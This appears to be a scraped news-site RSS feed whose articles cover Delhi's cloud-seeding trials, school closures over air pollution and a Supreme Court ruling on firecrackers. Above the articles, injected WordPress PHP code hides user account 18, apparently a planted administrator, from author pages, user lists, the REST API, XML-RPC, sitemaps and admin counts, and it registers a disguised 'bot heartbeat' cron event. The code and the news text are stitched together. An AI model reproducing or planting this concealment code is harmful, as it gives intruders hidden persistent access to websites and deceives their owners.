add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post IIT-Kanpur Director Explains Cloud Seeding Trial in Delhi, Costs and Findings appeared first on The Edge Media.
]]>The Delhi government had conducted two cloud-seeding trials on Tuesday, in collaboration with IIT-Kanpur, in areas such as Burari, north Karol Bagh, and Mayur Vihar. While there was no significant rainfall in these regions, light rainfall was recorded in Noida and Greater Noida after the trials.
Agrawal explained that the trial covered an area of approximately 300 square kilometers, with an estimated total cost of around Rs 60 lakh, which translates to about Rs 20,000 per square kilometer. He further stated that if the process were expanded to cover 1,000 square kilometers, the total cost would amount to approximately Rs 2 crore.
He also highlighted the projected cost of conducting cloud seeding over an entire winter period, assuming cloud availability once every 10 days. In such a scenario, the overall cost would range between Rs 25 crore and Rs 30 crore. Agrawal added that this amount is relatively small when compared to the significant funds spent on pollution control measures in the city.
The IIT-Kanpur director explained that the low moisture content in the clouds, which was only about 15%, reduced the likelihood of successful rainfall. Despite not achieving the desired rainfall, Agrawal pointed out that the trial provided valuable data. He mentioned that 15 monitoring stations were set up across various locations to assess air pollution and moisture levels. The results showed a reduction in PM 2.5 and PM 10 concentrations, suggesting that even with limited moisture, cloud seeding had some effect on air quality.
As part of the trials, a mixture of common salt, rock salt, and silver iodide was injected into the clouds. Agrawal clarified that the tiny particles helped in the condensation process, allowing water droplets to form, and when these droplets accumulated, they eventually led to rainfall.
A scheduled cloud-seeding trial for Wednesday was postponed due to insufficient moisture in the clouds.
The post IIT-Kanpur Director Explains Cloud Seeding Trial in Delhi, Costs and Findings appeared first on The Edge Media.
]]>The post Due to air pollution, schools in Gurugram and Faridabad will be closed until Wednesday appeared first on The Edge Media.
]]>
This directive came after the Delhi government issued similar steps the day before. Construction operations, stubble burning, and municipal rubbish burning have all been prohibited in Haryana’s Gurugram, Faridabad, Sonepat, and Jhajjar districts.
The post Due to air pollution, schools in Gurugram and Faridabad will be closed until Wednesday appeared first on The Edge Media.
]]>The post Supreme Court’s New Ruling: “Cannot Have Complete Ban on Firecrackers” appeared first on The Edge Media.
]]>
Relying upon an order by the top court in another case involving firecrackers from Friday, the judges said, “There cannot be a complete ban of firecrackers. Strengthen the mechanism to stop misuse.” Supreme Court Justices AM Khanwilkar and Ajay Rastogi also asked the West Bengal government to look into the possibility of preventing banned firecrackers and related items from being imported into the state and stopping them at entry points.
The post Supreme Court’s New Ruling: “Cannot Have Complete Ban on Firecrackers” appeared first on The Edge Media.
]]>